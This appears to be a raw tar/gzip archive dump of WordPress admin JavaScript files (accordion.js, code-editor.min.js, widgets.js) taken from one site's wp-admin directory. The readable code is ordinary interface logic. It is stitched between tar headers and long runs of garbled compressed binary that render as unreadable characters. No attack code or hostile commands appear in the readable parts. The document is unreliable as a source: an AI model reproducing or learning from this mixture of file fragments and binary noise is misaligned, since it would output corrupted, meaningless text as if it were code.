 * </div>
 *
 * Note that any appropriate tags may be used, as long as the above classes are present.
 *
 * @since 3.6.0
 * @output wp-admin/js/accordion.js
 */

( function( $ ){

	$( function () {

		// Expand/Collapse accordion sections on click.
		$( '.accordion-container' ).on( 'click keydown', '.accordion-section-title', function( e ) {
			if ( e.type === 'keydown' && 13 !== e.which ) { // "Return" key.
				return;
			}

			e.preventDefault(); // Keep this AFTER the key filter above.

			accordionSwitch( $( this ) );
		});

	});

	/**
	 * Close the current accordion section and open a new one.
	 *
	 * @param {Object} el Title element of the accordion section to toggle.
	 * @since 3.6.0
	 */
	function accordionSwitch ( el ) {
		var section = el.closest( '.accordion-section' ),
			sectionToggleControl = section.find( '[aria-expanded]' ).first(),
			container = section.closest( '.accordion-container' ),
			siblings = container.find( '.open' ),
			siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(),
			content = section.find( '.accordion-section-content' );

		// This section has no content and cannot be expanded.
		if ( section.hasClass( 'cannot-expand' ) ) {
			return;
		}

		// Add a class to the container to let us know something is happening inside.
		// This helps in cases such as hiding a scrollbar while animations are executing.
		container.addClass( 'opening' );

		if ( section.hasClass( 'open' ) ) {
			section.toggleClass( 'open' );
			content.toggle( true ).slideToggle( 150 );
		} else {
			siblingsToggleControl.attr( 'aria-expanded', 'false' );
			siblings.removeClass( 'open' );
			siblings.find( '.accordion-section-content' ).show().slideUp( 150 );
			content.toggle( false ).slideToggle( 150 );
			section.toggleClass( 'open' );
		}

		// We have to wait for the animations to finish.
		setTimeout(function(){
		    container.removeClass( 'opening' );
		}, 150);

		// If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value.
		if ( sectionToggleControl ) {
			sectionToggleControl.attr( 'aria-expanded', String( sectionToggleControl.attr( 'aria-expanded' ) === 'false' ) );
		}
	}

})(jQuery);
edit-link-form.php.php.tar.gz000064400000004312150276633110012074 0ustar00��Y]s�6�+Pm��3�h)_;����I�٤Ӹ����p Q� -�;��\��(Yq�4�!�Ė/�{/�:PS�˨�
YD������F�q��h]�\䪈�PU���2\j��˴����1����O?z4�b��x���d��	�gO�L��M|�S�&[�g��D�C�Afd�(��"�j�t�O�傲�A�@R�Bfv�����%O.�J���"����zѾ8�ڎ��`E�.��\0��L��f<PK6b_2!���bĂ���⛀�����N��d^V7#���+Ѯ�2�-l�+m�	�
����5�4{�l����ORɅ*V�=g̖F�r��&g��F.φ_���m�E|�"	��\���
�s����UW�"�N��l��*�?.x.��)�e��D�<qA���mZ_��\�w� ��
�s!���8h� p!ދ�u.!��O�t�i!k��]Os�-��rYql���w:@[L�ґ?��W����;��_��	��<�.�*�,�[���_A��tۣ<A�V�����EJڞ���1T.�}���J��q�=#~�G�^=�N���\��T�l��7�=sX�Ѷ�����<oD=���n�.ReY�]�$tR粨��6�����IΑ���4�ٸ�߮H[��-_!a-[��p}8��L�R%��3��q#ш&t�x��4>oz��9Ӌ��N3.^2��b�ϿO�	>�d��og�M���z�(6�SP|K�u�v���躊��y���n���� �ׁo�s6="	�'�3Tw#9�b*�6gh��9�KeV�,F}�J�U�+i��\N?�c&�ʕ��5ʏ$8��sV�i:����5K8�
��4�}� ����
#�
M#U�T��K��L/�\����Ev�&]��_��g��)� CDK/sceD���l͋�f�P���ĆY���m��Е`3^[*�	;&b��2��	w�z��H��0yp���9�J�r�f)F�_�J���PlIU&�7?�e9�]�G�"�gZ���jt9f��,E�5>��f���O����G�����#�q�\���Ep�L%�dN��.)؂�^d>�f/���iU��$�Vy�k��0-���o.��� �od����C)���%ó���^�H�d!/�>�*�u�C!l�׌�8>�b@�h?��,*��bМ��
Vx/ڭo೅���Bꊑ����`3�g]�6����`t�㤳Ӭ�@��ȉ�z(EIh9���A�b��ا�p���
~��H|F
t\p7�w��6j�Ԧ�p�:���;/`^����A��~��jz:x>f��`�zφk���|0K'���a���ݙd�j�Z��*�p��I�΢tB��S�Y�*'��Vu	B�]��
ù�̶4w��G�O��9a���T�51�w�Mw-R�㿿��W��C��j�.cM��W����an�h4ͼ����{h:�!���YR�c�%qY��z�{�h�cX)��U��#�UZ�Z҂CT1{5wA�z6�A��g�\^C�Ľ�b>���O�a3�}]�}lw���Zg�'w���//np`��U'�]$��R�3g����/9]���h9I�B��TlK�[*��P
�����*�M�Ԥ�t�:�Rְ�����M�������o��Y��	���|�����M|��G��tG��
�/��Q��v9�Ve,��������������t:��)���3U�5�M��%�1lxc��g#�u&�U��
�O����&�k0�NO?�{�#r��΃㼼�y���F-+��L�V�ŭ^Vkn6�+���Tݯ
�
{��h�&������+�d(��;@n�� |�а
8��vf�{F�����9s�uz�3��p$c{w��>��q�_��������?Y��~Q�����>������W�;!�r�v�ݕq����9q��_��%:�啣���],Z�Meh4}?r��،8>�k�z����_�/ÐE��$��Nq��DŽ���ؼ�Fߧ������

M����2;c[���w��0���}N�cr������}���qT���������5�ݔEC۔��)�4�cK�}_��TQn�3v�~���Ww��6���'�
��kIZ��]������|~>?������?4�� code-editor.min.js.tar000064400000012000150276633110010644 0ustar00home/natitnen/crestassured.com/wp-admin/js/code-editor.min.js000064400000006013150264704000020244 0ustar00/*! This file is auto-generated */
void 0===window.wp&&(window.wp={}),void 0===window.wp.codeEditor&&(window.wp.codeEditor={}),function(u,d){"use strict";function s(r,s){var a=[],d=[];function c(){s.onUpdateErrorNotice&&!_.isEqual(a,d)&&(s.onUpdateErrorNotice(a,r),d=a)}function i(){var i,t=r.getOption("lint");return!!t&&(!0===t?t={}:_.isObject(t)&&(t=u.extend({},t)),t.options||(t.options={}),"javascript"===s.codemirror.mode&&s.jshint&&u.extend(t.options,s.jshint),"css"===s.codemirror.mode&&s.csslint&&u.extend(t.options,s.csslint),"htmlmixed"===s.codemirror.mode&&s.htmlhint&&(t.options.rules=u.extend({},s.htmlhint),s.jshint&&(t.options.rules.jshint=s.jshint),s.csslint)&&(t.options.rules.csslint=s.csslint),t.onUpdateLinting=(i=t.onUpdateLinting,function(t,e,n){var o=_.filter(t,function(t){return"error"===t.severity});i&&i.apply(t,e,n),!_.isEqual(o,a)&&(a=o,s.onChangeLintingErrors&&s.onChangeLintingErrors(o,t,e,n),!r.state.focused||0===a.length||0<d.length)&&c()}),t)}r.setOption("lint",i()),r.on("optionChange",function(t,e){var n,o="CodeMirror-lint-markers";"lint"===e&&(e=r.getOption("gutters")||[],!0===(n=r.getOption("lint"))?(_.contains(e,o)||r.setOption("gutters",[o].concat(e)),r.setOption("lint",i())):n||r.setOption("gutters",_.without(e,o)),r.getOption("lint")?r.performLint():(a=[],c()))}),r.on("blur",c),r.on("startCompletion",function(){r.off("blur",c)}),r.on("endCompletion",function(){r.on("blur",c),_.delay(function(){r.state.focused||c()},500)}),u(document.body).on("mousedown",function(t){!r.state.focused||u.contains(r.display.wrapper,t.target)||u(t.target).hasClass("CodeMirror-hint")||c()})}d.codeEditor.defaultSettings={codemirror:{},csslint:{},htmlhint:{},jshint:{},onTabNext:function(){},onTabPrevious:function(){},onChangeLintingErrors:function(){},onUpdateErrorNotice:function(){}},d.codeEditor.initialize=function(t,e){var a,n,o,i,t=u("string"==typeof t?"#"+t:t),r=u.extend({},d.codeEditor.defaultSettings,e);return r.codemirror=u.extend({},r.codemirror),s(a=d.CodeMirror.fromTextArea(t[0],r.codemirror),r),t={settings:r,codemirror:a},a.showHint&&a.on("keyup",function(t,e){var n,o,i,r,s=/^[a-zA-Z]$/.test(e.key);a.state.completionActive&&s||"string"!==(r=a.getTokenAt(a.getCursor())).type&&"comment"!==r.type&&(i=d.CodeMirror.innerMode(a.getMode(),r.state).mode.name,o=a.doc.getLine(a.doc.getCursor().line).substr(0,a.doc.getCursor().ch),"html"===i||"xml"===i?n="<"===e.key||"/"===e.key&&"tag"===r.type||s&&"tag"===r.type||s&&"attribute"===r.type||"="===r.string&&r.state.htmlState&&r.state.htmlState.tagName:"css"===i?n=s||":"===e.key||" "===e.key&&/:\s+$/.test(o):"javascript"===i?n=s||"."===e.key:"clike"===i&&"php"===a.options.mode&&(n="keyword"===r.type||"variable"===r.type),n)&&a.showHint({completeSingle:!1})}),o=e,i=u((n=a).getTextArea()),n.on("blur",function(){i.data("next-tab-blurs",!1)}),n.on("keydown",function(t,e){27===e.keyCode?i.data("next-tab-blurs",!0):9===e.keyCode&&i.data("next-tab-blurs")&&(e.shiftKey?o.onTabPrevious(n,e):o.onTabNext(n,e),i.data("next-tab-blurs",!1),e.preventDefault())}),t}}(window.jQuery,window.wp);svg-painter.js.js.tar.gz000064400000004255150276633110011172 0ustar00��kw�F�_�W�$�J=��$���㦭�I����b�q��J#���ޙ�`w��sv���lc͝�~����BF<�g�eY���3��l4������M��$O����?-|��ε�V����������v�v�;o?���A�3d��O��(�?!����߯�}8���	2���A�)��� �2�3>��rP�3�8�qY�l�ӟ�\&���3��z}.�Q<��	`���\-���xH�Z� �
�<
��#vC�(rTE:�G#>�ـ�z�B�!���կ�.Y
y �ԁ!�x��Qɩ�j��,��GiWK�!>��pz�:�v*Z()5߇o��
c��0��׾X†"r�!������%�;#Roʲo9�Xv6XS)������=/N'����X#�;��	���^�B��6�`)a���R>�/�a�E����E�"��F��!}b��vODB�jcY�-�J�F�G�G��8
�������Lm��o9O�v7Z^����M�9͇��,�,��&��^�8�^��[6��o�>�`O)	�d���T�4`��-�"|��p�S��k�WCQ��H*�N��G'j�B��*N�i�U�V�τt��K�	����6p=�u)UJ��P!X��y��w���/|���7�'��o����΢8�-�d~9�������w<|��-Ō��w��^���)��Z�W-
x�Pt6�D�OE��*�1����:Ƣ�&�8�g�S��#n�]Z���$�����t;z��c����Wc���l65�R�cU��d@��@dKG�0�2,t.�s�ƿ�BI�%�<�ȩ��6��c�gZz-V�x"�\��62;����K��4�δš?�3O�jĊ�F�{����m�W?ն�����y��>~�v#�f��5�1��(���dP���K{�g
I�2DO֘�?�H�P�iHh�+t7�����L�	�2���"���@��z*���Zw�AôD--��w#М�[8�1�!	�qR�~A�Ū��}`�W��0�Pi8T<t�kt1Zh�&X|,/��b�aa�
���i�
3m%yT-ѯ�NwM�u�!��I��݁�so��Κg���ܟ�1U�/���lxY���m
,�$J�պ�F�5�B��~�]X�iNN$�1�I�}XT�ՠʒ�5]�"�-k��j�t�*�ț=�Sݸ1z*'�Og���Thȣ���_KʁGNE��c��x�J�_8/���
��7O�&�bౡ+p��
󈟗qy�Kĩi�܌:U�����(�+z��֒^.��LQ���̢B5f�u�(��z����_vG��z���`�Q�~�� ��Vs�0�����h�m�SL�U��)��V��vċ�z�ӭa@W��Cş^�&j$�
U��!>L�}�3���vIAD�R��G,X#&YOQѰ�8�zD���I�:
���K�U��5*�zYI�E�f��"�LsTx2�C-���e�C
�S�9��;f�|EA�O�1��P�Q�T�RR�^��&,�B�E��Õk0�,VeWV�YZ]������h��H�7�b��;Um���-��7IQY�Y�b�.��K����Q�
�Vf���A��f1^�8�����lUV�ih[��8��_��|�d0U����o"8tj��P&ޠ���
�D�8^P�)��r��_:�n����Q���b��u�}�zc:�#u����$�5Kݑ(O_ͣ�)�JR�����":���P�3F��s-����},x�I�?��k�����oSWoF�1�}�G�ϯ���V��?R�R-mj\�sAw[ע�WҨ8KQ����n�n�%���*��~[�5W��Z�Y��:����l���Nx[�8m����-|���xi���&�E�QI�h�����Y	4�7դGȪbeT��!27���LcTI#J�R�jYqJ5,��o��	��"���c�0��hUZ4~V&TBܵ����]5�j�*mp��kU[a)%����R��]�c $�wiڦD���E�c���{�l�Ϭ�y���K{�&����N��-��o:*��5��H�
Ẕ?�KUJVVۄ�r�˻y�wo��MSHqh�$N%�d�*n`t��e.~������$��7�_�/ϗ����hwidgets.js000064400000055072150276633110006565 0ustar00/**
 * @output wp-admin/js/widgets.js
 */

/* global ajaxurl, isRtl, wpWidgets */

(function($) {
	var $document = $( document );

window.wpWidgets = {
	/**
	 * A closed Sidebar that gets a Widget dragged over it.
	 *
	 * @var {element|null}
	 */
	hoveredSidebar: null,

	/**
	 * Lookup of which widgets have had change events triggered.
	 *
	 * @var {object}
	 */
	dirtyWidgets: {},

	init : function() {
		var rem, the_id,
			self = this,
			chooser = $('.widgets-chooser'),
			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
			sidebars = $('div.widgets-sortables'),
			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );

		// Handle the widgets containers in the right column.
		$( '#widgets-right .sidebar-name' )
			/*
			 * Toggle the widgets containers when clicked and update the toggle
			 * button `aria-expanded` attribute value.
			 */
			.on( 'click', function() {
				var $this = $( this ),
					$wrap = $this.closest( '.widgets-holder-wrap '),
					$toggle = $this.find( '.handlediv' );

				if ( $wrap.hasClass( 'closed' ) ) {
					$wrap.removeClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'true' );
					// Refresh the jQuery UI sortable items.
					$this.parent().sortable( 'refresh' );
				} else {
					$wrap.addClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'false' );
				}

				// Update the admin menu "sticky" state.
				$document.triggerHandler( 'wp-pin-menu' );
			})
			/*
			 * Set the initial `aria-expanded` attribute value on the widgets
			 * containers toggle button. The first one is expanded by default.
			 */
			.find( '.handlediv' ).each( function( index ) {
				if ( 0 === index ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( this ).attr( 'aria-expanded', 'false' );
			});

		// Show AYS dialog when there are unsaved widget changes.
		$( window ).on( 'beforeunload.widgets', function( event ) {
			var dirtyWidgetIds = [], unsavedWidgetsElements;
			$.each( self.dirtyWidgets, function( widgetId, dirty ) {
				if ( dirty ) {
					dirtyWidgetIds.push( widgetId );
				}
			});
			if ( 0 !== dirtyWidgetIds.length ) {
				unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
					return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
				});
				unsavedWidgetsElements.each( function() {
					if ( ! $( this ).hasClass( 'open' ) ) {
						$( this ).find( '.widget-title-action:first' ).trigger( 'click' );
					}
				});

				// Bring the first unsaved widget into view and focus on the first tabbable field.
				unsavedWidgetsElements.first().each( function() {
					if ( this.scrollIntoViewIfNeeded ) {
						this.scrollIntoViewIfNeeded();
					} else {
						this.scrollIntoView();
					}
					$( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
				} );

				event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				return event.returnValue;
			}
		});

		// Handle the widgets containers in the left column.
		$( '#widgets-left .sidebar-name' ).on( 'click', function() {
			var $wrap = $( this ).closest( '.widgets-holder-wrap' );

			$wrap
				.toggleClass( 'closed' )
				.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );

			// Update the admin menu "sticky" state.
			$document.triggerHandler( 'wp-pin-menu' );
		});

		$(document.body).on('click.widgets-toggle', function(e) {
			var target = $(e.target), css = {},
				widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
				toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );

			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
				widget = target.closest('div.widget');
				inside = widget.children('.widget-inside');
				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
				widgetWidth = widget.parent().width();
				widgetId = inside.find( '.widget-id' ).val();

				// Save button is initially disabled, but is enabled when a field is changed.
				if ( ! widget.data( 'dirty-state-initialized' ) ) {
					saveButton = inside.find( '.widget-control-save' );
					saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
					inside.on( 'input change', function() {
						self.dirtyWidgets[ widgetId ] = true;
						widget.addClass( 'widget-dirty' );
						saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
					});
					widget.data( 'dirty-state-initialized', true );
				}

				if ( inside.is(':hidden') ) {
					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
						if ( widget.closest('div.widget-liquid-right').length ) {
							margin = isRTL ? 'margin-right' : 'margin-left';
						} else {
							margin = isRTL ? 'margin-left' : 'margin-right';
						}

						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
						widget.css( css );
					}
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'true' );
					inside.slideDown( 'fast', function() {
						widget.addClass( 'open' );
					});
				} else {
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'false' );
					inside.slideUp( 'fast', function() {
						widget.attr( 'style', '' );
						widget.removeClass( 'open' );
					});
				}
			} else if ( target.hasClass('widget-control-save') ) {
				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
				e.preventDefault();
			} else if ( target.hasClass('widget-control-remove') ) {
				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
			} else if ( target.hasClass('widget-control-close') ) {
				widget = target.closest('div.widget');
				widget.removeClass( 'open' );
				toggleBtn.attr( 'aria-expanded', 'false' );
				wpWidgets.close( widget );
			} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
				wpWidgets.removeInactiveWidgets();
				e.preventDefault();
			}
		});

		sidebars.children('.widget').each( function() {
			var $this = $(this);

			wpWidgets.appendTitle( this );

			if ( $this.find( 'p.widget-error' ).length ) {
				$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
			}
		});

		$('#widget-list').children('.widget').draggable({
			connectToSortable: 'div.widgets-sortables',
			handle: '> .widget-top > .widget-title',
			distance: 2,
			helper: 'clone',
			zIndex: 101,
			containment: '#wpwrap',
			refreshPositions: true,
			start: function( event, ui ) {
				var chooser = $(this).find('.widgets-chooser');

				ui.helper.find('div.widget-description').hide();
				the_id = this.id;

				if ( chooser.length ) {
					// Hide the chooser and move it out of the widget.
					$( '#wpbody-content' ).append( chooser.hide() );
					// Delete the cloned chooser from the drag helper.
					ui.helper.find('.widgets-chooser').remove();
					self.clearWidgetSelection();
				}
			},
			stop: function() {
				if ( rem ) {
					$(rem).hide();
				}

				rem = '';
			}
		});

		/**
		 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
		 */
		sidebars.droppable( {
			tolerance: 'intersect',

			/**
			 * Open Sidebar when a Widget gets dragged over it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			over: function( event ) {
				var $wrap = $( event.target ).parent();

				if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
					// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
					wpWidgets.closeSidebar( event );
				}

				if ( $wrap.hasClass( 'closed' ) ) {
					wpWidgets.hoveredSidebar = $wrap;
					$wrap
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
				}

				$( this ).sortable( 'refresh' );
			},

			/**
			 * Close Sidebar when the Widget gets dragged out of it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			out: function( event ) {
				if ( wpWidgets.hoveredSidebar ) {
					wpWidgets.closeSidebar( event );
				}
			}
		} );

		sidebars.sortable({
			placeholder: 'widget-placeholder',
			items: '> .widget',
			handle: '> .widget-top > .widget-title',
			cursor: 'move',
			distance: 2,
			containment: '#wpwrap',
			tolerance: 'pointer',
			refreshPositions: true,
			start: function( event, ui ) {
				var height, $this = $(this),
					$wrap = $this.parent(),
					inside = ui.item.children('.widget-inside');

				if ( inside.css('display') === 'block' ) {
					ui.item.removeClass('open');
					ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
					inside.hide();
					$(this).sortable('refreshPositions');
				}

				if ( ! $wrap.hasClass('closed') ) {
					// Lock all open sidebars min-height when starting to drag.
					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
					$this.css( 'min-height', height + 'px' );
				}
			},

			stop: function( event, ui ) {
				var addNew, widgetNumber, $sidebar, $children, child, item,
					$widget = ui.item,
					id = the_id;

				// Reset the var to hold a previously closed sidebar.
				wpWidgets.hoveredSidebar = null;

				if ( $widget.hasClass('deleting') ) {
					wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
					$widget.remove();
					return;
				}

				addNew = $widget.find('input.add_new').val();
				widgetNumber = $widget.find('input.multi_number').val();

				$widget.attr( 'style', '' ).removeClass('ui-draggable');
				the_id = '';

				if ( addNew ) {
					if ( 'multi' === addNew ) {
						$widget.html(
							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
								return tag.replace( /__i__|%i%/g, widgetNumber );
							})
						);

						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
						widgetNumber++;

						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
					} else if ( 'single' === addNew ) {
						$widget.attr( 'id', 'new-' + id );
						rem = 'div#' + id;
					}

					wpWidgets.save( $widget, 0, 0, 1 );
					$widget.find('input.add_new').val('');
					$document.trigger( 'widget-added', [ $widget ] );
				}

				$sidebar = $widget.parent();

				if ( $sidebar.parent().hasClass('closed') ) {
					$sidebar.parent()
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

					$children = $sidebar.children('.widget');

					// Make sure the dropped widget is at the top.
					if ( $children.length > 1 ) {
						child = $children.get(0);
						item = $widget.get(0);

						if ( child.id && item.id && child.id !== item.id ) {
							$( child ).before( $widget );
						}
					}
				}

				if ( addNew ) {
					$widget.find( '.widget-action' ).trigger( 'click' );
				} else {
					wpWidgets.saveOrder( $sidebar.attr('id') );
				}
			},

			activate: function() {
				$(this).parent().addClass( 'widget-hover' );
			},

			deactivate: function() {
				// Remove all min-height added on "start".
				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
			},

			receive: function( event, ui ) {
				var $sender = $( ui.sender );

				// Don't add more widgets to orphaned sidebars.
				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
					$sender.sortable('cancel');
					return;
				}

				// If the last widget was moved out of an orphaned sidebar, close and remove it.
				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
				}
			}
		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );

		$('#available-widgets').droppable({
			tolerance: 'pointer',
			accept: function(o){
				return $(o).parent().attr('id') !== 'widget-list';
			},
			drop: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('#removing-widget').hide().children('span').empty();
			},
			over: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('div.widget-placeholder').hide();

				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
					$('#removing-widget').show().children('span')
					.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
				}
			},
			out: function(e,ui) {
				ui.draggable.removeClass('deleting');
				$('div.widget-placeholder').show();
				$('#removing-widget').hide().children('span').empty();
			}
		});

		// Area Chooser.
		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
			var $element = $( element ),
				name = $element.find( '.sidebar-name h2' ).text() || '',
				ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
				li = $( '<li>' ),
				button = $( '<button>', {
					type: 'button',
					'aria-pressed': 'false',
					'class': 'widgets-chooser-button',
					'aria-label': ariaLabel
				} ).text( name.toString().trim() );

			li.append( button );

			if ( index === 0 ) {
				li.addClass( 'widgets-chooser-selected' );
				button.attr( 'aria-pressed', 'true' );
			}

			selectSidebar.append( li );
			li.data( 'sidebarId', id );
		});

		$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
			var $widget = $( this ).closest( '.widget' ),
				toggleButton = $( this ).find( '.widget-action' ),
				chooserButtons = selectSidebar.find( '.widgets-chooser-button' );

			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
				toggleButton.attr( 'aria-expanded', 'false' );
				self.closeChooser();
			} else {
				// Open the chooser.
				self.clearWidgetSelection();
				$( '#widgets-left' ).addClass( 'chooser' );
				// Add CSS class and insert the chooser after the widget description.
				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
				// Open the chooser with a slide down animation.
				chooser.slideDown( 300, function() {
					// Update the toggle button aria-expanded attribute after previous DOM manipulations.
					toggleButton.attr( 'aria-expanded', 'true' );
				});

				chooserButtons.on( 'click.widgets-chooser', function() {
					selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
					chooserButtons.attr( 'aria-pressed', 'false' );
					$( this )
						.attr( 'aria-pressed', 'true' )
						.closest( 'li' ).addClass( 'widgets-chooser-selected' );
				} );
			}
		});

		// Add event handlers.
		chooser.on( 'click.widgets-chooser', function( event ) {
			var $target = $( event.target );

			if ( $target.hasClass('button-primary') ) {
				self.addWidget( chooser );
				self.closeChooser();
			} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
				self.closeChooser();
			}
		}).on( 'keyup.widgets-chooser', function( event ) {
			if ( event.which === $.ui.keyCode.ESCAPE ) {
				self.closeChooser();
			}
		});
	},

	saveOrder : function( sidebarId ) {
		var data = {
			action: 'widgets-order',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebars: []
		};

		if ( sidebarId ) {
			$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
		}

		$('div.widgets-sortables').each( function() {
			if ( $(this).sortable ) {
				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
			}
		});

		$.post( ajaxurl, data, function() {
			$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
			$( '.spinner' ).removeClass( 'is-active' );
		});
	},

	save : function( widget, del, animate, order ) {
		var self = this, data, a,
			sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
			form = widget.find( 'form' ),
			isAdd = widget.find( 'input.add_new' ).val();

		if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
			return;
		}

		data = form.serialize();

		widget = $(widget);
		$( '.spinner', widget ).addClass( 'is-active' );

		a = {
			action: 'save-widget',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebar: sidebarId
		};

		if ( del ) {
			a.delete_widget = 1;
		}

		data += '&' + $.param(a);

		$.post( ajaxurl, data, function(r) {
			var id = $('input.widget-id', widget).val();

			if ( del ) {
				if ( ! $('input.widget_number', widget).val() ) {
					$('#available-widgets').find('input.widget-id').each(function(){
						if ( $(this).val() === id ) {
							$(this).closest('div.widget').show();
						}
					});
				}

				if ( animate ) {
					order = 0;
					widget.slideUp( 'fast', function() {
						$( this ).remove();
						wpWidgets.saveOrder();
						delete self.dirtyWidgets[ id ];
					});
				} else {
					widget.remove();
					delete self.dirtyWidgets[ id ];

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			} else {
				$( '.spinner' ).removeClass( 'is-active' );
				if ( r && r.length > 2 ) {
					$( 'div.widget-content', widget ).html( r );
					wpWidgets.appendTitle( widget );

					// Re-disable the save button.
					widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );

					widget.removeClass( 'widget-dirty' );

					// Clear the dirty flag from the widget.
					delete self.dirtyWidgets[ id ];

					$document.trigger( 'widget-updated', [ widget ] );

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			}

			if ( order ) {
				wpWidgets.saveOrder();
			}
		});
	},

	removeInactiveWidgets : function() {
		var $element = $( '.remove-inactive-widgets' ), self = this, a, data;

		$( '.spinner', $element ).addClass( 'is-active' );

		a = {
			action : 'delete-inactive-widgets',
			removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
		};

		data = $.param( a );

		$.post( ajaxurl, data, function() {
			$( '#wp_inactive_widgets .widget' ).each(function() {
				var $widget = $( this );
				delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
				$widget.remove();
			});
			$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
			$( '.spinner', $element ).removeClass( 'is-active' );
		} );
	},

	appendTitle : function(widget) {
		var title = $('input[id*="-title"]', widget).val() || '';

		if ( title ) {
			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
		}

		$(widget).children('.widget-top').children('.widget-title').children()
				.children('.in-widget-title').html(title);

	},

	close : function(widget) {
		widget.children('.widget-inside').slideUp('fast', function() {
			widget.attr( 'style', '' )
				.find( '.widget-top button.widget-action' )
					.attr( 'aria-expanded', 'false' )
					.focus();
		});
	},

	addWidget: function( chooser ) {
		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
			sidebar = $( '#' + sidebarId );

		widget = $('#available-widgets').find('.widget-in-question').clone();
		widgetId = widget.attr('id');
		add = widget.find( 'input.add_new' ).val();
		n = widget.find( 'input.multi_number' ).val();

		// Remove the cloned chooser from the widget.
		widget.find('.widgets-chooser').remove();

		if ( 'multi' === add ) {
			widget.html(
				widget.html().replace( /<[^<>]+>/g, function(m) {
					return m.replace( /__i__|%i%/g, n );
				})
			);

			widget.attr( 'id', widgetId.replace( '__i__', n ) );
			n++;
			$( '#' + widgetId ).find('input.multi_number').val(n);
		} else if ( 'single' === add ) {
			widget.attr( 'id', 'new-' + widgetId );
